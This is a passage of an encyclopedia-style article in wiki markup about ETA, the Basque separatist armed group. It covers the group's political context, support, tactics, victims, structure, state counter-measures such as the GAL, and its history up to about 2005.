The methods used by ETA include [[assassination]], bombing, blackmailing and kidnap (see below). [[As of 2003|As of the end of 2003]], ETA had killed 817 people in the name of their political struggle, 339 of which were not members of any armed or police service. [http://www.guardiacivil.org/terrorismo/acciones/estadistica07.jsp]

==Context==
ETA forms part of what is known as the [[Basque National Liberation Movement]] (''Movimiento de Liberación Nacional Vasco'', MLNV in [[Spanish language|Spanish]]). This comprises several distinct organizations promoting a type of [[left-wing politics|left]] Basque nationalism often referred to by the Basque-language term ''ezker [[abertzale]]'' or by the mixed Spanish and Basque ''izquierda abertzale'' (''abertzale'' stands for ''patriot'' in Basque). These include ETA, [[Batasuna]]/Herri Batasuna/Euskal Herritarrok, and the associated youth group [[Haika]] (formed by [[Jarrai]], [[Gazteriak]], and [[Segi]]), the union [[Langile Abertzaleen Batzordeak]] (LAB), [[Gestoras pro Amnistía]] and others.

There are also some left-wing nationalist groups seeking Basque independence but clearly disapproving of violent methods, such as [[Aralar]] [http://www.aralar.net] (as of 2005, with a representative in the Basque Parliament, Aintzane Ezenarro) or the [[Navarra]]n coalition [[Nafarroa Bai]] [http://www.nafarroabai.org] ([[as of 2005]], with a Spanish M.P., Uxue Barkos). In Basque, they could be called ''abertzale'', but that wouldn't mean they support violence. In mainstream [[Spanish media]], though, this term is generally applied only to ETA supporters.

===Social support===
The roots of ETA's support lie in attempts of the [[Spain under Franco|Spanish state under Francisco Franco]] to destroy Basque nationalism.
Since Basque nationalism had sided with the Republican government in the [[Spanish Civil War]], Franco restricted virtually all expressions of Basque culture and banned all expressions of Basque nationalism, including public display of [[Ikurriña|the nationalist flag]], celebration of [[Aberri Eguna|nationalist holidays]], speaking the Basque language in public and teaching it in schools; even [[baptism|baptizing children]] with non-Spanish names was illegal.
The recovery of the Basque industry under Franco's rule attracted a massive [[rural exodus]] from Castile, Galicia, Andalusia and Extremadura, leading to further dilution of the Basque identity.

During the [[Francisco Franco|Franco]] era, ETA had considerable public support even beyond the Basque populace, reaching its peak after the 'Burgos Trials' of 1970, which drew international attention to the organization's cause and highlighted the repressive nature of the Franco regime, and their assassination of Almirante [[Luis Carrero Blanco]] in 1973 (Carrero Blanco was appointed by Franco as his successor in the rule of Spain). Spain's transition to democracy from 1975 on and ETA's progressive radicalization have resulted in a steady loss of support, which became especially apparent at the time of their [[1997]] kidnapping and countdown assassination of [[Miguel Ángel Blanco]]. Their loss of sympathizers has been reflected in an erosion of support for the political parties identified with the MLNV.

In recent years, ETA supporters have become a minority in the Basque region. A [[Euskobarómetro]] [http://www.ehu.es/cpvweb/paginas/euskobarometro.html] [[Statistical survey|poll]] (conducted by the [[Universidad del País Vasco]]) in the [[Basque Country (autonomous community)|Basque Country]] in May 2004, found that a significant number of Basques supported some or all of ETA's goals. (33% favored Basque independence, 31% federalism, 32% autonomy, 2% centralism.) However, few supported their violent methods (87% agreed that &quot;today in Euskadi it is possible to defend all political aspirations and objectives without the necessity of resorting to violence&quot;.)

The poll did not cover [[Navarre]] or [[Iparralde|the Basque areas of France]], where Basque nationalism is weaker.

==Tactics==
''See also [[List of ETA attacks]].''

ETA's tactics include:
*Assassination and murder, especially by car bombs or a gunshot to the [[nape]] of the neck. Before bombings, ETA members often make a telephone call so that people can be evacuated, although these calls have sometimes given incorrect information, leading to increased casualties.
*Anonymous threats, often delivered in the Basque Country by placards or graffiti, and which have forced many people into hiding; an example was the harassment of [[Juan María Atutxa]], member of the [[Basque Nationalist Party]], and one-time head of the department  Inner Affairs and Justice for the autonomous government of the Basque Country.
*The so-called &quot;revolutionary tax&quot;, paid by many businesses in the Basque Country and in the rest of Spain and enforced by the threat of assassination. In [[2002]] the judge [[Baltasar Garzón]] seized the [[herriko taberna]]s (&quot;people's taverns&quot;, bars owned directly or indirectly by Herri Batasuna) which were reportedly collecting these &quot;revolutionary taxes&quot;. This was seen by members of the Basque left as an attack on the social fabric underlying the independence movement.
*Kidnapping (often as a punishment for failing to pay the &quot;revolutionary tax&quot;).

ETA operates mainly in [[Spain]], particularly in the Basque Country, Navarre, and (to a lesser degree) [[Madrid]], [[Barcelona]], and the tourist areas of the [[costa|Mediterranean coast of Spain]]. The overwhelming number of ETA's assassinations have historically targeted so-called &quot;military targets&quot; (which was traditionally limited to the military proper, the Spanish Civil Guard and the Spanish National Police).
As the autonomous police (Basque [[Ertzaintza]] and Catalan [[Mossos d'Esquadra]]) took a greater role in anti-terrorism, they were added by ETA to the &quot;military targets&quot;.
Beginning with the killing of [[Gregorio Ordóñez]] in 1995 this was expanded to include politicians of any non-Basque nationalist party, journalists and other civilians.

A police file, dating from 1996, indicated that ETA needs about 15 million [[peseta]]s (about 90,000 [[Euro]]s) daily in order to finance its operations{{fact}}. Although ETA used robbery as a means of financing in its early days, it has since been accused both of [[arms trafficking]] and of benefiting economically from its political counterpart [[Batasuna]]. [[Kidnapping]] and [[extortion]] are other key methods that the organization has used to obtain finances. ETA has also occasionally burgled or robbed storehouses of explosives. It has often maintained large caches of explosives, often over the French side of the Basque border rather than within the Spanish jurisdiction.

ETA victims have included, among others:
*[[Luis Carrero Blanco]], president of the government under Franco (1973)
*Members (and relatives of members) of the army and the security forces of the Spanish state, including [[Guardia Civil]], Policía Nacional, and police of the autonomous regions, such as the [[Ertzaintza]] ([[Basque]] police) or [[mossos d'esquadra]] (the police force of [[Catalonia]]).
*Parliamentarians, members of city councils, sympathizers and partisans of other parties, including the socialist PSOE (such as [[Fernando Buesa]], killed [[February 22]] [[2000]] in [[Vitoria]] and [[Ernest Lluch]] shot through the neck [[November 21]] [[2000]] in [[Barcelona]]), the conservative Partido Popular (such as [[Miguel Ángel Blanco]] and [[Gregorio Ordóñez]]) or even conservative Basque nationalists such as ([[Navarre]]se ''[[fueros|fuerista]]'' [[Tomás Caballero]], assassinated in 1998).
*Judges and lawyers
*Businessmen, such as [[Javier Ybarra]].
*Functionaries of the prison and judicial systems.
*[[Philosophers]] and [[intellectuals]].
*University professors, such as [[Francisco Tomás y Valiente]], killed in [[1996]].
*Journalists, such as [[José Luis López de la Calle]], killed in May 2000.
*Foreign tourists in Spain.

==Government Repression==
Members of ETA have often taken refuge in southwestern France, especially the [[French Basque Country]] and [[Aquitaine]]. Although this used to be tolerated by the French government, especially during the [[Francisco Franco]] dictatorship when ETA members were often regarded as political [[refugee]]s, the expansion of violence into France by Spanish government death squads (GAL) in the 1980s forced the French to reconsider their stance and they have since become extremely active against ETA, including fast-track transfers of detainees to Spanish tribunals. Also ETA carried out actions against French policemen and menaced some French judges and prosecutors. A number of ETA members have been captured on French soil; some are serving sentences in France and others have been extradited to Spain to stand trial.

Several ETA members were [[death penalty|executed]] during the Franco era. During the post-Franco 1970s and the 1980s, ETA members and its suspected supporters were the target of right-wing violence and violence by government agents such as [[GAL]], whose actions not only ETA and their supporters but such observers as the [[BBC]] have characterized as &quot;[[state terrorism]]&quot;.[http://news.bbc.co.uk/1/hi/world/europe/168958.stm] 

ETA members frequently allege torture at the hands of the Guardia Civil (Civil Guard). While these claims are hard to verify, it should be noted that most convictions are based on confessions obtained while prisoners are held &quot;[[incommunicado]]&quot; without access to a private lawyer or other advocate and that these confessions are routinely repudiated during trials as having been extracted under torture. While there have been some successful prosecutions of torturers after long delays, the penalties are usually light and co-conspirators and enablers have rarely been sanctioned. From the US State Department report on Human Rights in Spain 1994, &quot;In December 1993 the Supreme Court overturned the appeals of five former members of the Civil Guard convicted in 1990 of torturing the father of a suspected ETA member in 1981.  The perpetrators received 6-month prison terms and 7 years on probation.  Others implicated in the crime or its coverup received probation or reprimands&quot;.

ETA considers its prisoners [[political prisoner]]s. Until 2003 {{ref|BastaYaLD}}, ETA consequently forbade them to ask penal authorities for progression to ''tercer grado'', a regime allowing day or weekend [[furlough]]s, or [[parole]]. Before that date, progressing prisoners were expelled from the group.

The second arm of the Spanish Government's campaign against ETA has been to target its social support. This has taken the form of banning Herri Batasuna and its successor parties, imprisoning its leaders for not condeming ETA's armed struggle, closing Herri Batasuna's party pubs that served as a social locus for the Basque left, closing the newspaper ''Egin'' and imprisoning the editor of its investigative unit (who, perhaps coincidentally, led the investigation that brought down the head of the Guardia Civil, Enrique Galindo, for corruption). The [[Spanish Supreme Court]] and the tribunals in Europe have validated the actions of the government against ETA's support net. The pubs that were closed collected money for ETA and were in some cases used to store weapons. Many imprisoned members of HB or Jarrai had dual membership in ETA and its political branches, sentenced for assisting in ETA attacks or collecting ETA's blackmail.

==Structure==
ETA is organized into distinct ''talde'' (&quot;groups&quot;), whose objective is to conduct operations in a specific geographic zone; collectively, they are coordinated by the ''cúpula militar'' (&quot;military [[cupola]]&quot;). In addition, they maintain [[safe house]]s and ''zulo'' (caches of arms or explosives; the Basque word ''zulo'' literally means &quot;hole.&quot; [http://free.freespeech.org/askatasuna/docs/zulo.htm])

Among its members, ETA distinguishes between ''legales/legalak'' (&quot;lawful ones&quot;), those members who do not have police files, ''liberados'' (&quot;liberated&quot;), exiled to France and on ETA's payroll, prisoners, serving time scattered across Spain and France, and ''quemados'' (&quot;burned out&quot;), freed after having been imprisoned.

The internal organ of ETA is ''[[Zutabe]]'' (&quot;Column&quot;).

==Political support==
The political party [[Batasuna]], formerly known as [[Euskal Herritarrok]] and &quot;[[Herri Batasuna]]&quot;, now illegalised as a terrorist organization, pursues the same political goals as ETA. It has generally received between 10 and 20% of the vote in the Basque areas of Spain.

Batasuna's political status has been a very controversial issue. It is considered by many, including the Spanish courts, to be the political wing of ETA, although the party itself denies that this is the case. The Spanish [[Cortes Generales|Cortes]] (parliament) began the process of declaring the party illegal in August [[2002]] by issuing a bill entitled the ''Ley de Partidos'', a move which was strongly disputed by many who felt that it was too draconian or even unlawful &amp;mdash;since allegedly any party could be made illegal almost by choice, just for not clearly stating their opposition to crime after a terrorist attack. Judge [[Baltasar Garzón]] suspended the activities of Batasuna in a parallel trial, investigating the relationship between Batasuna and ETA, and its headquarters were shut down by police. The Supreme Court of Spain finally declared Batasuna illegal on [[March 18]], [[2003]]. The court considered proven that Batasuna had several links with ETA and that it was, in fact, part of ETA. In line with that decision, Batasuna was listed as a terrorist organization by the [[United States]] in May 2003 and by all [[European Union|EU countries]] in June 2003.

A new party called [[Aukera Guztiak]] ''(All the Options)'' was formed for the elections to the Basque Parliament of April 2005. Its supporters claimed no heritage from Batasuna, asserting that their aim was to allow Basque citizens to freely express their political ideas, even those of independence, and their rights not to condemn some kind of violence more than other it they did not see it fit. Nevertheless, most of their members and certainly most of their leadership were former Batasuna supporters or affiliates, and the Spanish Supreme Court unanimously considered the party to be a sequel to Batasuna and declared a ban on it.

After Aukera Guztiak had been banned, and less than two weeks before the election, another political group born as a schism from Herri Batasuna, the [[Communist Party of the Basque Lands]] (EHAK/PCTV, ''Euskal Herrialdeetako Alderdi Komunista/Partido Comunista de las Tierras Vascas'') made the announcement that they would offer the votes they obtained to the now banned Aukera Guztiak platform. They obtained 9 seats (12,44% of votes) at the Basque Parliament [http://www.elmundo.es/especiales/2005/03/espana/elecciones_pv/resultados/]. As of September 2005, EHAK/PCTV is under investigation to discover whether or not their situation is legal.

During many years, Spanish politicians not related to Basque nationalism felt obliged to carry an escort with them to avoid ETA attacks. In 2005, though, ETA announced that it would no longer target Spanish politicians. However, the Spanish government has criticised this move, and continues to demand that ETA renounce violence entirely. Although ETA has refused to disarm, it has not launched a fatal attack since 2003; whether this is due to weakness or ceasefire is disputed.
==History==
===During Franco's dictatorship===
ETA was founded by young nationalists, who were for a time affiliated with the [[PNV]]. Started in 1953 as a student discussion group at the [[University of Deusto]] in [[Bilbao]], an offshoot of the PNV's youth group [[EGI]], it was originally called [[EKIN]], from the Basque-language verb meaning &quot;to act&quot;; the name had the meaning &quot;get busy&quot;. [http://www.cogs.susx.ac.uk/users/larryt/basque.words.html], [http://www.contrast.org/mirrors/ehj/navarre/na_history_birtheta.html] On [[July 31]], [[1959]] it reconstituted itself as ETA. Their split from the PNV was apparently because they considered the PNV too moderate in its opposition to Franco's dictatorship. They disagreed with the PNV's rejection of violent tactics and advocated a Basque [[resistance movement]] utilizing [[direct action]]. This was an era of [[wars of national liberation]] such as the [[decolonization|anti-colonial]] war in [[Algeria]].

In their platform, formed at their first assembly in [[Bayonne]], [[France]] in [[1962]], ETA called for &quot;historical regenerationism&quot;, considering Basque history as a process of construction of a nation. They declared that Basque nationality is defined by the Basque language, Euskara; this was in contrast to the PNV's definition of Basque nationality in terms of [[ethnicity]]. In contrast with the explicit Catholicism of the PNV, ETA defined itself as &quot;aconfessional&quot; (religiously pluralistic), rejecting the hierarchy of the [[Roman Catholic Church]], although using Catholic doctrine to elaborate its social program. They called for socialism and for &quot;independence for Euskadi, compatible with European [[federalist|federalism]]&quot;.

In [[1965]], ETA adopted a [[Marxism-Leninism|Marxist-Leninist]] position; its precise political line has varied with time, although they have always advocated some type of socialism.

In its early years, ETA's activity seems to have consisted mostly of theorizing and of protesting by destroying infrastructure and Spanish symbols and by hanging forbidden [[Basque flag]]s.

It is not possible to say when ETA first began a policy of assassination, nor is it clear who committed the first assassinations identified with ETA. There are sources that say the first was the [[June 27]], [[1960]] death of a 22-month-old child, Begoña Urroz Ibarrola, who died in a bombing in [[San Sebastián]]; other sources single out a failed [[1961]] attempt to derail a train carrying war veterans; others point to the unpremeditated [[June 7]], [[1968]] killing of a [[Guardia Civil (Spain)|guardia civil]], [[José Pardines Arcay]] by ETA member [[Txabi Etxebarrieta]]: the policeman had halted Etxebarrieta's car for a [[road check]]. Etxebarrieta was soon killed by the Spanish police, leading to retaliation in the form of the first ETA assassination with major repercussions, was that of [[Melitón Manzanas]], chief of the [[secret police]] in San Sebastián and a suspected torturer. In [[1970]], several members of ETA were condemned to death in the ''[[Proceso de Burgos]]'' (&quot;Trial of [[Burgos]]&quot;), but international pressure resulted in [[commutation]] of the sentences, which, however, had by that time already been applied to some other members of ETA. The most consequential assassination performed by ETA during Franco's dictatorship was the December [[1973]] assassination by bomb in [[Madrid]] of admiral [[Luis Carrero Blanco]], Franco's chosen successor and president of the government (a position roughly equivalent to being a [[prime minister]]). This killing, committed as a reprisal for the execution of Basque ''independentistas'', was widely applauded by the Spanish opposition in exile and was seen by many as instrumental in the establishment of democracy: by denying Franco his chosen successor, it forced him to hand the reins of power back to the monarchy, which in turn established the current democratic state.
The former ETA member turned anti-Nationalist author [[Jon Juaristi]] contends that ETA's goal was not democratization but a [[spiral of violence]].

===During the transition===
After Franco's death, during the [[Spanish transition to democracy]] ETA split into two separate organizations: the majority became [[ETA political-military]] or ETA(pm), the minority ETA military or ETA(m). ETA(pm) accepted the Spanish government's offer of amnesty to all ETA prisoners, even those who had committed violent crimes; abandoned the policy of violence; and integrated into the political party ''[[Euskadiko Ezkerra]]'' (&quot;[[left-wing politics|Left]] of the Basque Country&quot;), which years later split. One faction retained the name ''Euskadiko Ezkerra'' for some years, before merging into the [[Partido Socialista de Euskadi]] (PSE), the Basque affiliate of the national [[PSOE]]); the other became [[Euskal Ezkerra]] (EuE, &quot;Basque Left&quot;) and then merged into [[Eusko Alkartasuna]].
Some of the former ETA members (like [[Mario Onaindía]], [[Jon Juaristi]], [[Joseba Pagazaurtundua]]) evolved to non-nationalist leftism or even Spanish nationalism, thus becoming targets or victims for ETA.

Meanwhile, ETA(m) adopted even more radical and violent positions. During [[Spain]]'s [[History_of_Spain#The_transition_to_democracy_1975-1978|transition to democracy]], ETA(m) refused offers of amnesty, instead continuing and intensifying its violent struggle. When ETA (pm) integrated into the political party [[Euskadiko Ezkerra]], ETA(m) re-adopted the name ETA.
The years [[1978]]&amp;ndash;[[1980|80]] were to prove ETA's most deadly, with 68, 76, and 91 fatalities, respectively. [Martinez-Herrera 2002]

During the Franco era, ETA was able to take advantage of toleration by the [[France|French]] government, which allowed its members to move freely through French territory, believing that in this manner they were contributing to the end of Franco's regime. There is much controversy over the degree to which this policy of &quot;[[sanctuary]]&quot; continued even after the transition to democracy, but it is generally agreed that currently the French authorities collaborate closely with the Spanish government against ETA.

===Under democracy===
ETA performed their first [[car bomb]] assassination in [[Madrid]] in September [[1985]], resulting in one death and sixteen injuries; another bomb in July [[1986]] killed twelve members of the Guardia Civil and injured 50; on [[July 19]], [[1987]] the [[Hipercor]] bombing was an attack in a shopping center in [[Barcelona]], killing twenty one and injuring forty five; in the last case, several entire families were killed. ETA claimed in a communique that they had given advance warning of the Hipercor bomb, but that the police had declined to evacuate the area. The police claim that the warning came only few minutes before the bomb exploded.

In a &quot;[[dirty war]]&quot; against ETA, [[Grupos Antiterroristas de Liberación]] (GAL, &quot;Antiterrorist Liberation Groups&quot;), a government-sponsored and supposedly counter-terrorist organization active [[1986]]&amp;ndash;[[1987|87]] (and possibly later) committed assassinations, kidnappings and torture, not only of ETA members but of civilians, some of whom turned out to have nothing to do with ETA. In [[1997]] a Spanish court convicted and imprisoned several individuals involved in GAL, not only mercenaries and low-level police officials but politicians up to the highest levels of the [[PSOE]]  government of prime minister [[Felipe Gonzalez]], including a minister of the interior. Although González had been quoted as saying that the government would defend itself through the &quot;sewers of the state&quot; (''las cloacas del estado''), his role in GAL was never proven. No major cases of foul play on part of the Spanish government after 1987 have been proven in court, although ETA supporters routinely claim human rights violations and [[torture]] by security forces, and international human rights organizations like Amnesty International have backed very few of these claims. ETA's manuals had been found telling its members and supporters to claim routinely that they had tortured after any detention.

In [[1986]] [[Gesto por la Paz]] (known in English as [[Association for Peace in the Basque Country]]) was founded; they began to convene silent demonstrations in communities throughout the Basque Country the day after any violent killing, whether by ETA or by GAL. These were the first systematic demonstrations in the Basque Country against terrorist violence. Also in 1986, in [[Ordizia]], ETA assassinated [[María Dolores Katarain]], known as &quot;Yoyes&quot;, the former director of ETA who had abandoned armed struggle and rejoined civil society: they accused her of &quot;desertion&quot;.

[[January 12]], [[1988]] all Basque political parties except ETA-affiliated [[Batasuna|Herri Batasuna]] signed the [[Ajuria-Enea pact]] with the intent of ending ETA's violence. Weeks later on [[January 28]], ETA announced a 60-day &quot;ceasefire&quot;, later prolonged several times. A negotiation in Algeria known as the [[Mesa de Argel]] (&quot;[[Algiers]] Table&quot;) was attempted between ETA (represented by [[Eugenio Etxebeste]], &quot;Antxon&quot;) and the then-current PSOE government of Spain, but no successful conclusion was reached, and ETA eventually resumed the use of violence.

During this period, the Spanish government had a policy referred to as &quot;[[reinsertion]]&quot;, under which imprisoned ETA members who the government believed had genuinely abandoned violent intent could be freed and allowed to rejoin society. Claiming a need to prevent ETA from coercively impeding this reinsertion, the PSOE government decided that imprisoned ETA members, who previously had all been imprisoned within the Basque Country, would instead be dispersed to prisons throughout Spain, some as far from their families as in the [[Salto del Negro]] prison in the [[Canary Islands]]. France has taken a similar approach. In the event, the only clear effect of this policy was to incite social protest, especially from nationalists and families of the prisoners, over the cruelity of separating family members from their loved ones and the supposed illegality of the policy itself. Much of the protest against this policy runs under the slogan &quot;''Euskal presoak - Euskal Herrira''&quot; (''Basque prisoners to the Basque Country'', by &quot;Basque prisoners&quot; only ETA members are meant).

During the ETA ceasefire of the late 1990s, the PSOE government brought back to the [[Iberian Peninsula|mainland]] the prisoners in the islands and Africa. Since the end of the ceasefire, ETA prisoners have still not been sent to overseas prisons. Some Basque authorities have established grants for the expenses of visiting families.

Another Spanish counter-terrorist law puts suspected terrorist cases under the specialized tribunal ''[[Audiencia Nacional]]'' in [[Madrid]]. Under Article 509 suspected terrorists are subject to being held &quot;incommunicado&quot; for up to thirteen days, during which they have no contact with the outside world, including informing their family of their arrest, consultation with private lawyers or examination by a physician other than the coroners.

In [[1992]], ETA's three top leaders &amp;mdash; military leader [[Francisco Mujika Garmendia]] (&quot;Pakito&quot;), political leader [[José Luis Alvarez Santacristina]] (&quot;Txelis&quot;) and logistical leader [[José María Arregi Erostarbe]] (&quot;Fiti&quot;), often referred to collectively as the &quot;cupola&quot; of ETA or as the Artapalo collective [http://www.informativos.telecinco.es/dn_16360.htm] &amp;mdash; were arrested in the French Basque town of [[Bidart]], which led to changes in ETA's leadership and direction. After a two-month truce, ETA adopted even more radical positions. The principal consequence of the change appears to have been the creation of the ''&quot;[[Y Groups]]&quot;'', young people (generally [[minor (law)|minors]]) dedicated to so-called ''&quot;kale borroka&quot;'' &amp;mdash; street struggle &amp;mdash; and whose activities included burning buses, street lamps, benches, [[Automatic teller machine|ATM]]s, garbage containers, etc. and throwing [[Molotov cocktail]]s. The appearance of these groups was attributed by many to supposed weakness of ETA, which obliged them to resort to minors to maintain or augment their impact on society after arrests of leading militants, including the &quot;cupola&quot;. ETA also began to menace leaders of other parties besides rival Basque nationalist parties. The existence of the &quot;Y Groups&quot; as an organized phenomenon has been contested by some supporters of Basque national liberation, who claim that this construction is merely a trumped-up excuse to give longer prison sentences to those convicted of street violence.

In [[1995]], the armed organization again launched a peace proposal. The so-called [[Democratic Alternative]] replaced the earlier [[Koordinadora Abertzale Sozialista|KAS]] Alternative as a minimum proposal for the establishment of Euskal Herria. The Democratic Alternative offered the cessation of all armed ETA activity if the Spanish-government would recognize the Basque people as having sovereignty over Basque territory, the right to [[self-determination]] and that it freed all ETA members in prison. The Spanish government ultimately rejected this peace offer.

Also in [[1995]] came a failed ETA car bombing attempt directed against [[José María Aznar]], a [[conservatism|conservative]] politician who was leader of the then-opposition [[People's Party (Spain)|Partido Popular]] (PP) and was shortly after elected to the presidency of the government; there was also an abortive attempt in [[Majorca]] on the life of King [[Juan Carlos I of Spain|Juan Carlos I]]. Still, the act with the largest social impact came the following year. [[July 10]], [[1997]] PP council member [[Miguel Ángel Blanco]] was kidnapped in the Basque city of [[Ermua]] and his death threatened unless the Spanish government would meet ETA's demands. Six million people demonstrated to demand his liberation, with demonstrations occurring as much in the Basque regions as elsewhere in Spain. After three days, ETA carried through their threat, unleashing massive demonstrations reflecting the ETA action with the cries of &quot;Assassins&quot; and &quot;Basques yes, ETA no&quot;.
This response came to be known as the &quot;Spirit of Ermua&quot;.

After the [[Belfast Agreement|Good Friday Accord]] marked the beginning of the end of violent hostilities in [[Northern Ireland]], and given that the Ajuria-Enea pact had failed to bring peace to the Basque Country, the [[Lizarra/Estella Pact]] brought together political parties, unions, and other Basque groups in hopes again of changing the political situation. Shortly after, [[September 18]], [[1998]], ETA declared a unilateral truce or ceasefire, and began a process of dialogue with Spain's PP government. The dialogue continued for some time, but ETA resumed assassinations in [[2000]], accusing the government of being &quot;inflexible&quot; and of &quot;not wanting dialogue&quot;. The communique that declared the end of the truce cited the failure of the process initiated in the Lizarra/Estella Pact to achieve political change as the reason for the return to violence. The Spanish government, from the highest levels, accused ETA of having declared a false truce in order to rearm. Some of that was demonstrated by the appropiation of part of ETA's internal communications at the time of the truce. Later came acts of violence such as the [[November 6]], [[2001]] car bomb in Madrid, which injured sixty five, and attacks on [[soccer]] stadiums and tourist destinations.

The [[September 11, 2001 attacks]] appeared to have dealt a hard blow to ETA, owing to the toughening of antiterrorist measures (such as the freezing of bank accounts), the increase in international police coordination, and the end of the toleration some countries had, up until then, extended to ETA. In addition, in [[2002]] the Basque nationalist youth movement [[Jarrai]] was outlawed and the law of parties was changed outlawing Herri Batasuna, the &quot;political arm&quot; of ETA (although even before the change in law, Batasuna had been largely paralyzed and under judicial investigation by judge [[Baltasar Garzón]]).

With ever-increasing frequency, attempted ETA actions have been frustrated by Spanish security forces.
On Christmas Eve [[2003]], in San Sebastián and in [[Hernani]], National Police arrested two ETA members who had left dynamite in a railroad car prepared explode in [[Chamartín Station]] in Madrid. On [[March 1]], [[2004]], in a place between [[Alcalá de Henares]] and [[Madrid]], a light truck with 536 kg of explosives was left to cause a massacre, but was prevented by the action of the Guardia Civil.

===Recent events===
''For recent ETA attacks see [[List of ETA attacks]]''

*[[October 8]], [[1999]]: ETA is designated as a Foreign Terrorist Organization (FTA) by the U.S. government for the first time.
*[[25 May]] [[2001]]: Thousands of Spaniards participate in a silent march through San Sebastian, a northern city, to protest the killing of journalist Santiago Oleaga Elejabarrieta. Banners are held that read &quot;No To ETA &amp;ndash; Peace And Freedom.&quot; Spanish reporters give a statement saying, &quot;However much they kill and try to impose their cause through terror we, as media professionals, will defend the expression which took so long to achieve in this country.&quot;
*[[11 July]] [[2001]] Hundreds of people gather in Madrid to commemorate the life of slain policeman Luis Ortiz de la Rosa, who was killed the preceding day. The rally protests  ETA's actions.
*[[15 July]] [[2001]]: CNN reports that hundreds of Spaniards have gathered in city and town halls around Spain to silently protest two killings blamed on the Basque separatist group ETA. The cities include Pamplona, Vitoria, and Zaragoza.
*[[24 August]] [[2001]]: The Spanish police arrest six suspected ETA members in the Barcelona suburb of Terrasa, seizing over 550 pounds of what CNN reports as &quot;explosives, firearms, forged license plates and electronic detonator components.&quot;
*[[26 February]] [[2002]]: U.S. Treasury Secretary Paul O'Neill announces that the U.S. has frozen assets of twenty one people associated with ETA.
*[[22 December]] [[2002]]: Ibon Fernandez Iradi, who is suspected of teaching ETA members how to make bombs, escapes from custody in a police station in Bayonne, France.
*[[8 October]] [[2003]]: thirty four suspected ETA members are arrested in the early morning. Twenty-nine are apprehended in northern Spain and five in France.
*[[9 December]] [[2003]]: Police in southwestern France arrest Gorka Palacios, twenty nine, the alleged military commander of ETA. Three people who the police said were collaborators were also arrested in the 6:00 AM  raid on a house in the village of Lons, near the town of Pau. At a news conference in [[Marrakesh]], [[Morocco]], Spanish interior minister [[Ángel Acebes]] characterized the arrests as of &quot;great significance&quot; and of &quot;first magnitude.&quot;
*[[February 18]], [[2004]]: ETA publicly stated that a ceasefire only in [[Catalonia]] had been in effect since [[January 1]], based on &quot;a desire to unite the ties between the Basque and Catalan peoples.&quot; Some claimed that this ceasefire was based on a secret pact with [[Josep-Lluís Carod-Rovira]], leader of [[Esquerra Republicana de Catalunya]] (ERC, &quot;Republican Left of Catalonia&quot;). Carod-Rovira, despite admitting to having met with ETA in France in December denied having reached any accord, saying that the meeting was an attempt to drive ETA away from violence, and ended with no results. This, during an electoral campaign, became a scandal, and endangered the recent tripartite Catalan government, formed by ERC (ERC), [[Iniciativa per Catalunya Verds]]-[[Esquerra Unida i Alternativa]] (ICV-EUiA) and the [[Partit dels Socialistes de Catalunya]] (PSC). The opposition then accused Aznar of being behind the leak to the media of the intelligence report detailing the meeting and Aznar refused to clarify whether he knew about this meeting before the leaking. Aznar was also questioned as to why the ETA members who attended that meeting were not detained.
*Also in 2004, ETA was initially suspected of being the authors of a series of ten bombings only a few days before the national elections, which targeted three locations along [[Madrid]]'s suburban train lines on the morning of [[March 11]] [[2004]], killing 192 civilians (''see [[11 March 2004 Madrid attacks]]''). This theory was officially endorsed by [[José María Aznar]]'s government, despite the police quickly gathering evidence pointing towards [[Islamic terrorism]]. Many Spanish citizens took this rush to judgment as an offence towards the victims of the attacks and towards the Spanish people; this was generally seen as a decisive factor in the electoral result which overturned Aznar's government (see [[Spanish legislative election, 2004]]). The authorship of this attack, the largest European terror incident in terms of lives lost since the [[1988]] [[Pan Am flight 103]] flight bombing, has been finally ascribed to Islamist terrorists by the Spanish police.
*[[20 February]] [[2004]]: Nine men and a woman are arrested, making the number of ETA suspects detained this week thirty three. They worked on a Basque-language newspaper, ''[[Euskaldunon Egunkaria]]'', published statements from ETA. They've been released and their torture claims dismissed without being investigated or even calling them to testify[http://www.englishpen.org/writersintranslation/magazineofliteratureintranslat/basquecountry/martxelootamendi/].
*[[21 March]] [[2004]]: A spokesman for the newly elected PSOE government of Spain rejects a proposal from ETA for negotiations because ETA was not prepared to surrender its weapons.
*[[September 27]], [[2004]]: ETA militants sent a videotape to ''Gara'', a Basque newspaper based in [[Guipúzcoa]], in which the militants stated that ETA would continue to fight for Basque self-determination and that ETA would &quot;respond with arms at the ready to those who deny us through the force of arms.&quot; This videotape represented ETA's first major public statement since the [[11 March]] attacks. During the weekend preceding the videotape release, the group claimed responsibility for a series of bombings that hampered electricity transmission between France and Spain.
*[[October 3]], [[2004]]: French police launched an operation against ETA's logistical apparatus, making 21 arrests, among them the couple who functioned as top ETA leaders, [[Mikel Albizu Iriarte]] (&quot;Mikel Antza&quot;) and [[Soledad Iparragirre]] (&quot;Anboto&quot;). They found four ''zulos'' (caches) with a vast quantity of armaments, much greater than had been estimated to be at ETA's disposal; they also managed to turn up information about ETA's printing an internal newsletter, but nothing leading to any major bank account or other hoard of money. The operation was considered one of the most successful since Bidart in 1992. [[As of 2004|As of October 2004]], it appears that these measures will result in ETA leadership moving into different hands; it is too soon to evaluate the consequences. Spain has solicited the extradition of Mikel Antza y Amboto via a [[Euroorden]].
*[[December 12]] [[2004]]: The [[Real Madrid]] [[Santiago Bernabéu stadium]] football Stadium was evacuated due to a phoned-in bomb threat in name of ETA. The bomb&amp;mdash;expected to blow up at 9:00 p.m.&amp;mdash;didn't explode, and the 69,000 spectators of the match under way at the time of the call were safely evacuated by the Spanish Police at 8:45 p.m.
*[[May 17]] [[2005]]: The Spanish Government offered to hold talks with ETA if it renounced violence. The Opposition [[Popular Party]] condemned the overture as premature.

==Other armed movements==
===Other armed organizations that operated in the Basque Country===
* Right wing
**''ATE ([[Anti-Terrorismo ETA]])''
**''[[Batallón Vasco Español]]''
**''[[Grupos Antiterroristas de Liberación]]''
*Left wing
**''[[Iraultza]]''
**''[[Comandos Autónomos Anticapitalistas]]''
**''[[Iparretarrak]]''

===International links===
ETA is known to have had contacts with the [[Provisional Irish Republican Army]]; the two groups have both, at times, characterized their struggles as parallel. It has also had links with other militant left-wing movements in Europe and in other places throughout the world. Because of its allegiance to [[Marxism|Marxist]] ideas, ETA has in the past been sponsored by [[communism|communist]] regimes such as [[Cuba]], as well as by [[Libya]] and [[Lebanon]].
The support provided by Palestine militias to ETA was one of the reasons for the [[Felipe González|González]] government to [[Foreign relations of Israel|recognize Israel]] in 1986.

